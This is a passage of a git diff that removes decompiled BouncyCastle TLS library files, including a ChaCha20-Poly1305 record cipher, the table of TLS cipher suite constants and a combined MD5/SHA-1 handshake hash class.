false, seqNo, decryptIV); - int num = len - 16; - byte[] additionalData = GetAdditionalData(seqNo, type, num); - byte[] a = CalculateRecordMac(macKey, additionalData, ciphertext, offset, num); - byte[] b = Arrays.CopyOfRange(ciphertext, offset + num, offset + len); - if (!Arrays.ConstantTimeAreEqual(a, b)) - { - throw new TlsFatalAlert(20); - } - byte[] array = new byte[num]; - decryptCipher.ProcessBytes(ciphertext, offset, num, array, 0); - return array; - } - - protected virtual KeyParameter InitRecord(IStreamCipher cipher, bool forEncryption, long seqNo, byte[] iv) - { - byte[] iv2 = CalculateNonce(seqNo, iv); - cipher.Init(forEncryption, new ParametersWithIV(null, iv2)); - return GenerateRecordMacKey(cipher); - } - - protected virtual byte[] CalculateNonce(long seqNo, byte[] iv) - { - byte[] array = new byte[12]; - TlsUtilities.WriteUint64(seqNo, array, 4); - for (int i = 0; i < 12; i++) - { - byte[] array3; - byte[] array2 = (array3 = array); - int num = i; - nint num2 = num; - array2[num] = (byte)(array3[num2] ^ iv[i]); - } - return array; - } - - protected virtual KeyParameter GenerateRecordMacKey(IStreamCipher cipher) - { - byte[] array = new byte[64]; - cipher.ProcessBytes(array, 0, array.Length, array, 0); - KeyParameter result = new KeyParameter(array, 0, 32); - Arrays.Fill(array, 0); - return result; - } - - protected virtual byte[] CalculateRecordMac(KeyParameter macKey, byte[] additionalData, byte[] buf, int off, int len) - { - IMac mac = new Poly1305(); - mac.Init(macKey); - UpdateRecordMacText(mac, additionalData, 0, additionalData.Length); - UpdateRecordMacText(mac, buf, off, len); - UpdateRecordMacLength(mac, additionalData.Length); - UpdateRecordMacLength(mac, len); - return MacUtilities.DoFinal(mac); - } - - protected virtual void UpdateRecordMacLength(IMac mac, int len) - { - byte[] array = Pack.UInt64_To_LE((ulong)len); - mac.BlockUpdate(array, 0, array.Length); - } - - protected virtual void UpdateRecordMacText(IMac mac, byte[] buf, int off, int len) - { - mac.BlockUpdate(buf, off, len); - int num = len % 16; - if (num != 0) - { - mac.BlockUpdate(Zeroes, 0, 16 - num); - } - } - - protected virtual byte[] GetAdditionalData(long seqNo, byte type, int len) - { - byte[] array = new byte[13]; - TlsUtilities.WriteUint64(seqNo, array, 0); - TlsUtilities.WriteUint8(type, array, 8); - TlsUtilities.WriteVersion(context.ServerVersion, array, 9); - TlsUtilities.WriteUint16(len, array, 11); - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ChangeCipherSpec.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ChangeCipherSpec.cs deleted file mode 100644 index ea82eec..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ChangeCipherSpec.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class ChangeCipherSpec -{ - public const byte change_cipher_spec = 1; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CipherSuite.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CipherSuite.cs deleted file mode 100644 index dfcdfb2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CipherSuite.cs +++ /dev/null @@ -1,553 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class CipherSuite -{ - public const int TLS_NULL_WITH_NULL_NULL = 0; - - public const int TLS_RSA_WITH_NULL_MD5 = 1; - - public const int TLS_RSA_WITH_NULL_SHA = 2; - - public const int TLS_RSA_EXPORT_WITH_RC4_40_MD5 = 3; - - public const int TLS_RSA_WITH_RC4_128_MD5 = 4; - - public const int TLS_RSA_WITH_RC4_128_SHA = 5; - - public const int TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 = 6; - - public const int TLS_RSA_WITH_IDEA_CBC_SHA = 7; - - public const int TLS_RSA_EXPORT_WITH_DES40_CBC_SHA = 8; - - public const int TLS_RSA_WITH_DES_CBC_SHA = 9; - - public const int TLS_RSA_WITH_3DES_EDE_CBC_SHA = 10; - - public const int TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA = 11; - - public const int TLS_DH_DSS_WITH_DES_CBC_SHA = 12; - - public const int TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA = 13; - - public const int TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA = 14; - - public const int TLS_DH_RSA_WITH_DES_CBC_SHA = 15; - - public const int TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA = 16; - - public const int TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA = 17; - - public const int TLS_DHE_DSS_WITH_DES_CBC_SHA = 18; - - public const int TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA = 19; - - public const int TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA = 20; - - public const int TLS_DHE_RSA_WITH_DES_CBC_SHA = 21; - - public const int TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA = 22; - - public const int TLS_DH_anon_EXPORT_WITH_RC4_40_MD5 = 23; - - public const int TLS_DH_anon_WITH_RC4_128_MD5 = 24; - - public const int TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA = 25; - - public const int TLS_DH_anon_WITH_DES_CBC_SHA = 26; - - public const int TLS_DH_anon_WITH_3DES_EDE_CBC_SHA = 27; - - public const int TLS_RSA_WITH_AES_128_CBC_SHA = 47; - - public const int TLS_DH_DSS_WITH_AES_128_CBC_SHA = 48; - - public const int TLS_DH_RSA_WITH_AES_128_CBC_SHA = 49; - - public const int TLS_DHE_DSS_WITH_AES_128_CBC_SHA = 50; - - public const int TLS_DHE_RSA_WITH_AES_128_CBC_SHA = 51; - - public const int TLS_DH_anon_WITH_AES_128_CBC_SHA = 52; - - public const int TLS_RSA_WITH_AES_256_CBC_SHA = 53; - - public const int TLS_DH_DSS_WITH_AES_256_CBC_SHA = 54; - - public const int TLS_DH_RSA_WITH_AES_256_CBC_SHA = 55; - - public const int TLS_DHE_DSS_WITH_AES_256_CBC_SHA = 56; - - public const int TLS_DHE_RSA_WITH_AES_256_CBC_SHA = 57; - - public const int TLS_DH_anon_WITH_AES_256_CBC_SHA = 58; - - public const int TLS_RSA_WITH_CAMELLIA_128_CBC_SHA = 65; - - public const int TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA = 66; - - public const int TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA = 67; - - public const int TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA = 68; - - public const int TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA = 69; - - public const int TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA = 70; - - public const int TLS_RSA_WITH_CAMELLIA_256_CBC_SHA = 132; - - public const int TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA = 133; - - public const int TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA = 134; - - public const int TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA = 135; - - public const int TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA = 136; - - public const int TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA = 137; - - public const int TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256 = 186; - - public const int TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA256 = 187; - - public const int TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA256 = 188; - - public const int TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256 = 189; - - public const int TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256 = 190; - - public const int TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA256 = 191; - - public const int TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256 = 192; - - public const int TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA256 = 193; - - public const int TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA256 = 194; - - public const int TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256 = 195; - - public const int TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256 = 196; - - public const int TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA256 = 197; - - public const int TLS_RSA_WITH_SEED_CBC_SHA = 150; - - public const int TLS_DH_DSS_WITH_SEED_CBC_SHA = 151; - - public const int TLS_DH_RSA_WITH_SEED_CBC_SHA = 152; - - public const int TLS_DHE_DSS_WITH_SEED_CBC_SHA = 153; - - public const int TLS_DHE_RSA_WITH_SEED_CBC_SHA = 154; - - public const int TLS_DH_anon_WITH_SEED_CBC_SHA = 155; - - public const int TLS_PSK_WITH_RC4_128_SHA = 138; - - public const int TLS_PSK_WITH_3DES_EDE_CBC_SHA = 139; - - public const int TLS_PSK_WITH_AES_128_CBC_SHA = 140; - - public const int TLS_PSK_WITH_AES_256_CBC_SHA = 141; - - public const int TLS_DHE_PSK_WITH_RC4_128_SHA = 142; - - public const int TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA = 143; - - public const int TLS_DHE_PSK_WITH_AES_128_CBC_SHA = 144; - - public const int TLS_DHE_PSK_WITH_AES_256_CBC_SHA = 145; - - public const int TLS_RSA_PSK_WITH_RC4_128_SHA = 146; - - public const int TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA = 147; - - public const int TLS_RSA_PSK_WITH_AES_128_CBC_SHA = 148; - - public const int TLS_RSA_PSK_WITH_AES_256_CBC_SHA = 149; - - public const int TLS_ECDH_ECDSA_WITH_NULL_SHA = 49153; - - public const int TLS_ECDH_ECDSA_WITH_RC4_128_SHA = 49154; - - public const int TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA = 49155; - - public const int TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA = 49156; - - public const int TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA = 49157; - - public const int TLS_ECDHE_ECDSA_WITH_NULL_SHA = 49158; - - public const int TLS_ECDHE_ECDSA_WITH_RC4_128_SHA = 49159; - - public const int TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA = 49160; - - public const int TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA = 49161; - - public const int TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA = 49162; - - public const int TLS_ECDH_RSA_WITH_NULL_SHA = 49163; - - public const int TLS_ECDH_RSA_WITH_RC4_128_SHA = 49164; - - public const int TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA = 49165; - - public const int TLS_ECDH_RSA_WITH_AES_128_CBC_SHA = 49166; - - public const int TLS_ECDH_RSA_WITH_AES_256_CBC_SHA = 49167; - - public const int TLS_ECDHE_RSA_WITH_NULL_SHA = 49168; - - public const int TLS_ECDHE_RSA_WITH_RC4_128_SHA = 49169; - - public const int TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA = 49170; - - public const int TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA = 49171; - - public const int TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA = 49172; - - public const int TLS_ECDH_anon_WITH_NULL_SHA = 49173; - - public const int TLS_ECDH_anon_WITH_RC4_128_SHA = 49174; - - public const int TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA = 49175; - - public const int TLS_ECDH_anon_WITH_AES_128_CBC_SHA = 49176; - - public const int TLS_ECDH_anon_WITH_AES_256_CBC_SHA = 49177; - - public const int TLS_PSK_WITH_NULL_SHA = 44; - - public const int TLS_DHE_PSK_WITH_NULL_SHA = 45; - - public const int TLS_RSA_PSK_WITH_NULL_SHA = 46; - - public const int TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA = 49178; - - public const int TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA = 49179; - - public const int TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA = 49180; - - public const int TLS_SRP_SHA_WITH_AES_128_CBC_SHA = 49181; - - public const int TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA = 49182; - - public const int TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA = 49183; - - public const int TLS_SRP_SHA_WITH_AES_256_CBC_SHA = 49184; - - public const int TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA = 49185; - - public const int TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA = 49186; - - public const int TLS_RSA_WITH_NULL_SHA256 = 59; - - public const int TLS_RSA_WITH_AES_128_CBC_SHA256 = 60; - - public const int TLS_RSA_WITH_AES_256_CBC_SHA256 = 61; - - public const int TLS_DH_DSS_WITH_AES_128_CBC_SHA256 = 62; - - public const int TLS_DH_RSA_WITH_AES_128_CBC_SHA256 = 63; - - public const int TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 = 64; - - public const int TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 = 103; - - public const int TLS_DH_DSS_WITH_AES_256_CBC_SHA256 = 104; - - public const int TLS_DH_RSA_WITH_AES_256_CBC_SHA256 = 105; - - public const int TLS_DHE_DSS_WITH_AES_256_CBC_SHA256 = 106; - - public const int TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 = 107; - - public const int TLS_DH_anon_WITH_AES_128_CBC_SHA256 = 108; - - public const int TLS_DH_anon_WITH_AES_256_CBC_SHA256 = 109; - - public const int TLS_RSA_WITH_AES_128_GCM_SHA256 = 156; - - public const int TLS_RSA_WITH_AES_256_GCM_SHA384 = 157; - - public const int TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 = 158; - - public const int TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 = 159; - - public const int TLS_DH_RSA_WITH_AES_128_GCM_SHA256 = 160; - - public const int TLS_DH_RSA_WITH_AES_256_GCM_SHA384 = 161; - - public const int TLS_DHE_DSS_WITH_AES_128_GCM_SHA256 = 162; - - public const int TLS_DHE_DSS_WITH_AES_256_GCM_SHA384 = 163; - - public const int TLS_DH_DSS_WITH_AES_128_GCM_SHA256 = 164; - - public const int TLS_DH_DSS_WITH_AES_256_GCM_SHA384 = 165; - - public const int TLS_DH_anon_WITH_AES_128_GCM_SHA256 = 166; - - public const int TLS_DH_anon_WITH_AES_256_GCM_SHA384 = 167; - - public const int TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 = 49187; - - public const int TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 = 49188; - - public const int TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256 = 49189; - - public const int TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384 = 49190; - - public const int TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 = 49191; - - public const int TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 = 49192; - - public const int TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256 = 49193; - - public const int TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384 = 49194; - - public const int TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 = 49195; - - public const int TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 = 49196; - - public const int TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256 = 49197; - - public const int TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384 = 49198; - - public const int TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 = 49199; - - public const int TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 = 49200; - - public const int TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256 = 49201; - - public const int TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384 = 49202; - - public const int TLS_PSK_WITH_AES_128_GCM_SHA256 = 168; - - public const int TLS_PSK_WITH_AES_256_GCM_SHA384 = 169; - - public const int TLS_DHE_PSK_WITH_AES_128_GCM_SHA256 = 170; - - public const int TLS_DHE_PSK_WITH_AES_256_GCM_SHA384 = 171; - - public const int TLS_RSA_PSK_WITH_AES_128_GCM_SHA256 = 172; - - public const int TLS_RSA_PSK_WITH_AES_256_GCM_SHA384 = 173; - - public const int TLS_PSK_WITH_AES_128_CBC_SHA256 = 174; - - public const int TLS_PSK_WITH_AES_256_CBC_SHA384 = 175; - - public const int TLS_PSK_WITH_NULL_SHA256 = 176; - - public const int TLS_PSK_WITH_NULL_SHA384 = 177; - - public const int TLS_DHE_PSK_WITH_AES_128_CBC_SHA256 = 178; - - public const int TLS_DHE_PSK_WITH_AES_256_CBC_SHA384 = 179; - - public const int TLS_DHE_PSK_WITH_NULL_SHA256 = 180; - - public const int TLS_DHE_PSK_WITH_NULL_SHA384 = 181; - - public const int TLS_RSA_PSK_WITH_AES_128_CBC_SHA256 = 182; - - public const int TLS_RSA_PSK_WITH_AES_256_CBC_SHA384 = 183; - - public const int TLS_RSA_PSK_WITH_NULL_SHA256 = 184; - - public const int TLS_RSA_PSK_WITH_NULL_SHA384 = 185; - - public const int TLS_ECDHE_PSK_WITH_RC4_128_SHA = 49203; - - public const int TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA = 49204; - - public const int TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA = 49205; - - public const int TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA = 49206; - - public const int TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256 = 49207; - - public const int TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384 = 49208; - - public const int TLS_ECDHE_PSK_WITH_NULL_SHA = 49209; - - public const int TLS_ECDHE_PSK_WITH_NULL_SHA256 = 49210; - - public const int TLS_ECDHE_PSK_WITH_NULL_SHA384 = 49211; - - public const int TLS_EMPTY_RENEGOTIATION_INFO_SCSV = 255; - - public const int TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256 = 49266; - - public const int TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384 = 49267; - - public const int TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256 = 49268; - - public const int TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384 = 49269; - - public const int TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256 = 49270; - - public const int TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384 = 49271; - - public const int TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256 = 49272; - - public const int TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384 = 49273; - - public const int TLS_RSA_WITH_CAMELLIA_128_GCM_SHA256 = 49274; - - public const int TLS_RSA_WITH_CAMELLIA_256_GCM_SHA384 = 49275; - - public const int TLS_DHE_RSA_WITH_CAMELLIA_128_GCM_SHA256 = 49276; - - public const int TLS_DHE_RSA_WITH_CAMELLIA_256_GCM_SHA384 = 49277; - - public const int TLS_DH_RSA_WITH_CAMELLIA_128_GCM_SHA256 = 49278; - - public const int TLS_DH_RSA_WITH_CAMELLIA_256_GCM_SHA384 = 49279; - - public const int TLS_DHE_DSS_WITH_CAMELLIA_128_GCM_SHA256 = 49280; - - public const int TLS_DHE_DSS_WITH_CAMELLIA_256_GCM_SHA384 = 49281; - - public const int TLS_DH_DSS_WITH_CAMELLIA_128_GCM_SHA256 = 49282; - - public const int TLS_DH_DSS_WITH_CAMELLIA_256_GCM_SHA384 = 49283; - - public const int TLS_DH_anon_WITH_CAMELLIA_128_GCM_SHA256 = 49284; - - public const int TLS_DH_anon_WITH_CAMELLIA_256_GCM_SHA384 = 49285; - - public const int TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_GCM_SHA256 = 49286; - - public const int TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_GCM_SHA384 = 49287; - - public const int TLS_ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256 = 49288; - - public const int TLS_ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384 = 49289; - - public const int TLS_ECDHE_RSA_WITH_CAMELLIA_128_GCM_SHA256 = 49290; - - public const int TLS_ECDHE_RSA_WITH_CAMELLIA_256_GCM_SHA384 = 49291; - - public const int TLS_ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256 = 49292; - - public const int TLS_ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384 = 49293; - - public const int TLS_PSK_WITH_CAMELLIA_128_GCM_SHA256 = 49294; - - public const int TLS_PSK_WITH_CAMELLIA_256_GCM_SHA384 = 49295; - - public const int TLS_DHE_PSK_WITH_CAMELLIA_128_GCM_SHA256 = 49296; - - public const int TLS_DHE_PSK_WITH_CAMELLIA_256_GCM_SHA384 = 49297; - - public const int TLS_RSA_PSK_WITH_CAMELLIA_128_GCM_SHA256 = 49298; - - public const int TLS_RSA_PSK_WITH_CAMELLIA_256_GCM_SHA384 = 49299; - - public const int TLS_PSK_WITH_CAMELLIA_128_CBC_SHA256 = 49300; - - public const int TLS_PSK_WITH_CAMELLIA_256_CBC_SHA384 = 49301; - - public const int TLS_DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256 = 49302; - - public const int TLS_DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384 = 49303; - - public const int TLS_RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256 = 49304; - - public const int TLS_RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384 = 49305; - - public const int TLS_ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256 = 49306; - - public const int TLS_ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384 = 49307; - - public const int TLS_RSA_WITH_AES_128_CCM = 49308; - - public const int TLS_RSA_WITH_AES_256_CCM = 49309; - - public const int TLS_DHE_RSA_WITH_AES_128_CCM = 49310; - - public const int TLS_DHE_RSA_WITH_AES_256_CCM = 49311; - - public const int TLS_RSA_WITH_AES_128_CCM_8 = 49312; - - public const int TLS_RSA_WITH_AES_256_CCM_8 = 49313; - - public const int TLS_DHE_RSA_WITH_AES_128_CCM_8 = 49314; - - public const int TLS_DHE_RSA_WITH_AES_256_CCM_8 = 49315; - - public const int TLS_PSK_WITH_AES_128_CCM = 49316; - - public const int TLS_PSK_WITH_AES_256_CCM = 49317; - - public const int TLS_DHE_PSK_WITH_AES_128_CCM = 49318; - - public const int TLS_DHE_PSK_WITH_AES_256_CCM = 49319; - - public const int TLS_PSK_WITH_AES_128_CCM_8 = 49320; - - public const int TLS_PSK_WITH_AES_256_CCM_8 = 49321; - - public const int TLS_PSK_DHE_WITH_AES_128_CCM_8 = 49322; - - public const int TLS_PSK_DHE_WITH_AES_256_CCM_8 = 49323; - - public const int TLS_ECDHE_ECDSA_WITH_AES_128_CCM = 49324; - - public const int TLS_ECDHE_ECDSA_WITH_AES_256_CCM = 49325; - - public const int TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8 = 49326; - - public const int TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8 = 49327; - - public const int TLS_FALLBACK_SCSV = 22016; - - public const int DRAFT_TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 = 52392; - - public const int DRAFT_TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 = 52393; - - public const int DRAFT_TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256 = 52394; - - public const int DRAFT_TLS_PSK_WITH_CHACHA20_POLY1305_SHA256 = 52395; - - public const int DRAFT_TLS_ECDHE_PSK_WITH_CHACHA20_POLY1305_SHA256 = 52396; - - public const int DRAFT_TLS_DHE_PSK_WITH_CHACHA20_POLY1305_SHA256 = 52397; - - public const int DRAFT_TLS_RSA_PSK_WITH_CHACHA20_POLY1305_SHA256 = 52398; - - public const int DRAFT_TLS_DHE_RSA_WITH_AES_128_OCB = 65280; - - public const int DRAFT_TLS_DHE_RSA_WITH_AES_256_OCB = 65281; - - public const int DRAFT_TLS_ECDHE_RSA_WITH_AES_128_OCB = 65282; - - public const int DRAFT_TLS_ECDHE_RSA_WITH_AES_256_OCB = 65283; - - public const int DRAFT_TLS_ECDHE_ECDSA_WITH_AES_128_OCB = 65284; - - public const int DRAFT_TLS_ECDHE_ECDSA_WITH_AES_256_OCB = 65285; - - public const int DRAFT_TLS_PSK_WITH_AES_128_OCB = 65296; - - public const int DRAFT_TLS_PSK_WITH_AES_256_OCB = 65297; - - public const int DRAFT_TLS_DHE_PSK_WITH_AES_128_OCB = 65298; - - public const int DRAFT_TLS_DHE_PSK_WITH_AES_256_OCB = 65299; - - public const int DRAFT_TLS_ECDHE_PSK_WITH_AES_128_OCB = 65300; - - public const int DRAFT_TLS_ECDHE_PSK_WITH_AES_256_OCB = 65301; - - public static bool IsScsv(int cipherSuite) - { - if (cipherSuite == 255 || cipherSuite == 22016) - { - return true; - } - return false; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CipherType.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CipherType.cs deleted file mode 100644 index c05f15e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CipherType.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class CipherType -{ - public const int stream = 0; - - public const int block = 1; - - public const int aead = 2; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ClientAuthenticationType.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ClientAuthenticationType.cs deleted file mode 100644 index 3206a3b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ClientAuthenticationType.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class ClientAuthenticationType -{ - public const byte anonymous = 0; - - public const byte certificate_based = 1; - - public const byte psk = 2; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ClientCertificateType.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ClientCertificateType.cs deleted file mode 100644 index d3030b2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ClientCertificateType.cs +++ /dev/null @@ -1,24 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class ClientCertificateType -{ - public const byte rsa_sign = 1; - - public const byte dss_sign = 2; - - public const byte rsa_fixed_dh = 3; - - public const byte dss_fixed_dh = 4; - - public const byte rsa_ephemeral_dh_RESERVED = 5; - - public const byte dss_ephemeral_dh_RESERVED = 6; - - public const byte fortezza_dms_RESERVED = 20; - - public const byte ecdsa_sign = 64; - - public const byte rsa_fixed_ecdh = 65; - - public const byte ecdsa_fixed_ecdh = 66; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CombinedHash.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CombinedHash.cs deleted file mode 100644 index 848105b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CombinedHash.cs +++ /dev/null @@ -1,113 +0,0 @@ -using System; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Tls; - -internal class CombinedHash : TlsHandshakeHash, IDigest -{ - protected TlsContext mContext; - - protected IDigest mMd5; - - protected IDigest mSha1; - - public virtual string AlgorithmName => mMd5.AlgorithmName + " and " + mSha1.AlgorithmName; - - internal CombinedHash() - { - mMd5 = TlsUtilities.CreateHash(1); - mSha1 = TlsUtilities.CreateHash(2); - } - - internal CombinedHash(CombinedHash t) - { - mContext = t.mContext; - mMd5 = TlsUtilities.CloneHash(1, t.mMd5); - mSha1 = TlsUtilities.CloneHash(2, t.mSha1); - } - - public virtual void Init(TlsContext context) - { - mContext = context; - } - - public virtual TlsHandshakeHash NotifyPrfDetermined() - { - return this; - } - - public virtual void TrackHashAlgorithm(byte hashAlgorithm) - { - throw new InvalidOperationException("CombinedHash only supports calculating the legacy PRF for handshake hash"); - } - - public virtual void SealHashAlgorithms() - { - } - - public virtual TlsHandshakeHash StopTracking() - { - return new CombinedHash(this); - } - - public virtual IDigest ForkPrfHash() - { - return new CombinedHash(this); - } - - public virtual byte[] GetFinalHash(byte hashAlgorithm) - { - throw new InvalidOperationException("CombinedHash doesn't support multiple hashes"); - } - - public virtual int GetByteLength() - { - return System.Math.Max(mMd5.GetByteLength(), mSha1.GetByteLength()); - } - - public virtual int GetDigestSize() - { - return mMd5.GetDigestSize() + mSha1.GetDigestSize(); - } - - public virtual void Update(byte input) - { - mMd5.Update(input); - mSha1.Update(input); - } - - public virtual void BlockUpdate(byte[] input, int inOff, int len) - { - mMd5.BlockUpdate(input, inOff, len); - mSha1.BlockUpdate(input, inOff, len); - } - - public virtual int DoFinal(byte[] output, int outOff) - { - if (mContext != null && TlsUtilities.IsSsl(mContext)) - { - Ssl3Complete(mMd5, Ssl3Mac.IPAD, Ssl3Mac.OPAD, 48); - Ssl3Complete(mSha1, Ssl3Mac.IPAD, Ssl3Mac.OPAD, 40); - } - int num = mMd5.DoFinal(output, outOff); - int num2 = mSha1.DoFinal(output, outOff + num); - return num + num2; - } - - public virtual void Reset() - { - mMd5.Reset(); - mSha1.Reset(); - } - - protected virtual void Ssl3Complete(IDigest d, byte[] ipad, byte[] opad, int padLength) - { - byte[] masterSecret = mContext.SecurityParameters.masterSecret; - d.BlockUpdate(masterSecret, 0, masterSecret.Length); - d.BlockUpdate(ipad, 0, padLength); - byte[] array = DigestUtilities.DoFinal(d); - d.BlockUpdate(masterSecret, 0, masterSecret.Length); - d.BlockUpdate(opad, 0, padLength); - d.BlockUpdate(array, 0, array.Length); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/CompressionMethod.cs 